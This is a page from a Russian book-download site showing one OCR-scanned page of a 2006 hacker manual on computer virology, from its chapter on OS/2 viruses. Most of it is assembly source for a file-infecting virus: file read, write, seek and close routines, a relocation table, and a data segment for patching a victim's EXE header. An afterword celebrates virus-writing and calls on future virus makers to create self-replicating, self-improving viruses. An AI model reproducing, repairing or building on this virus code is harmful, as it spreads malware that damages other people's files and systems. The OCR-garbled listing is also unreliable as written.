Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 113 114 115 116 117 118 < 119 > 120 121 122 .. 123 >> Следующая

call DosRead {читаем их clc
or ax,ax {проверяем на ошибку
mov ax,WORD PTR [WRITTEN] ;ах=байты для записи jz FRET {произошла ли
ошибка?
stc {устанавливаем перенос, если ошибка FRET: ret
{Записываем сх байтов данных в ds.dx в файл, чей индекс = FHANDLE:
FILE.WRITE:
push [FHANDLE] {передаем индекс к DosWrite push ds
push dx {буфер, из которого производится запись
push сх {байты для записи
push ds
push OFFSET WRITTEN {помещаем сюда число байтов для записи RWRITE: call
DosWrite clc
or ax,ax
mov ax,WORD PTR [WRITTEN] {сохраняем их в ax jz FWET stc FWET: ret
;ищем локацию dx:cx в файле. Возвращаем абсолютный указатель файла в
;сх:ах
FILE_SEEK_ST:
xor al.al
FILE_SEEK:
push [FHANDLE] {вталкиваем в стек индекс файла push сх
ГЛАВА 10. Вирусы для OS/2
push dx ;число байтов для перемещения xor ah,ah ;ах=источник, из которого
ведется поиск push ах ^^начальный, 1=текущий, 2=конец push ds
push OFFSET WRITTEN :место, куда помещаем абсолютный указатель
файла
RSEEK: call DosChgFilePtr ^устанавливаем указатель файла clc
or ах.ах
mov ax.WORD PTR [WRITTEN] mov dx.WORD PTR [WRITTEN+2] jz FSET stc FSET:
ret
;Close the file FHANDLE.
FILE_CLOSE:
push [FHANDLE] ;передаем индекс к DosClose RCLOSE: call DosClose ;и
выполняем его ret
Данный HOST здесь только для первоначального запуска программы. Когда
вирус инфицирует файл, вирус прыгнет к стартовому коду той программы, к
которой он прикрепится.
HOST:
push 1 ;прервать все цепочки выполняемых задач
push 0 ; вернуть код О
call DosExit .прервать программу
Следующие перемещения добавляются в таблицу перемещений в этом секторе
для удобства вируса. Они должны быть последними в сегменте кода, чтобы
программа с патчами работала правильно.
ARELOCS DW 9 ;число перемещений, добавляемых в
R_OPEN DW 103Н, OFFSET ROPEN+1,1,70
;таблицу перемещений R_READ DW 103H,OFFSET RREAD+1,1,137
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
R.WRITE DW 103H .OFFSET RWRITE+1,1,138
R_SEEK DW 103H,OFFSET RSEEK+1,1,58
R_CLOSE DW 103H,OFFSET RCLOSE+1,1,59
R_FFIRST DW 103H,OFFSET FFIRST+1,1,64
R_FNEXT DW 103H .OFFSET FNEXT+1,1,65
R_DALSE DW 103H .OFFSET DALSE+1.1.34
R_DFRSE DW 103H,OFFSET DFRSE+1,1,39
END_VIRUS: ;метка для конца Windows-вируса
CODE ENDS
В сегменте кода не кодируются никакие данные, поскольку в OS/2 вирус
должен назначать сегмент данных при выполнении. Мы должны предполагать,
что при запуске программы он будет заполнен случайным "мусором".
Подпрограмма CREATE_DS инициализирует некоторые данные, используемые в
этом сегменте, который в обычных программах заполнен предварительным
кодом.
_DATA SEGMENT PARA USE 16 'DATA'
DATASTART EQU $
FILEJD1 DB 6 dup (? ;для поиска файлов
FILEJD2 DB 6dup(?) ;для осмотра файлов
KNAME DB 8 dup (?) {"DOSCALLS"
VSTART DW ? {начальный офсет вируса в RAM
WRITTEN DD ? {байты, записываемые в файл
ENTRYPT DW ? {первоначальный ip из старта вируса NH_OFFSET DW ? ;офсет
нового заголовка из начала файла VIRSECS DW ? {размер, добавляемый
вирусом к файлу ;(в секторах)
INITSEC DW ? {локация первоначального cs в файле ;(в секторах)
RELOCS DW ? {число перемещений в cs LOG_SEC DW ?;размер логического
сектора для программы
ГЛАВА 10. Вирусы для OS/2
CS.SIZE DW ? ; размер сегмента кода
KERNEL DW ? ;номер модуля KERNEL
FHANDLE DW ? ;индекс файла для новой жертвы
OPENACTION DW ? ; используется DosOpen
SRCHCOUNT DW ? ;используется DosFindFirst/Next
DHANDLE DW ? ;используется DosRndFirst/Next
NEW_HDR DB NEW_HDR_SIZEdup(?) '.пространство, ;кудгГвставляется новый
ЕХЕ-заголовок
TEMP DB DATABUF.SIZE dup (?) ;хранилище временных данных
SBUFDB 279dup(?) ;структура буфера поиска DosFind
DATAEND EQU $
_DATA ENDS+
.STACK SEGMENT PARA USE16 STACK'STACK' db 5120dup(?) .STACK ENDS END
VIRUS
Послесловие
Вот и подошла к концу моя первая книга о вирусах. Как вы, наверное, уже
поняли, главное - не сочинить самый зловредный и наиболее мерзопакостный
вирус. Главное - вдохнуть в него дыхание жизни. Если оно присутствует, то
самая мерзкая сколопендра превращается в чудесное существо и жалит только
по необходимости. И опять-таки от мертворожденного создания нет ни толку,
ни проку, оно не вызывает ни радости, ни жалости, ни сочувствия.
Пройдя со мной всю экологическую цепочку от простейших амебообразных DOS-
овских вирусов до вершины эволюции - вирусов под Windows, вы, наверное,
ощутили себя как Творец, который после долгой тягомотины с цветочками и
пчелками создал наконец человека.
Но не торопитесь - до создания настоящего компьютерного разума еще
далеко. Покамест наши с вами вирусы исполняют лишь одну функцию, схожую с
функцией нормальных земных микробов - распространяются, отравляя всю
окружающую среду, и наконец подыхают от ее переполнения или под
воздействием чужеродных факторов. Наша цель - научить сами вирусы
сочинять вирусы по своему образу и подобию и таким образом одарить их
инстинктом продолжения рода и самосовершенствования. Эта задача должна
стать светлой целью будущих поколений вирусмейкеров.
Предыдущая << 1 .. 113 114 115 116 117 118 < 119 > 120 121 122 .. 123 >> Следующая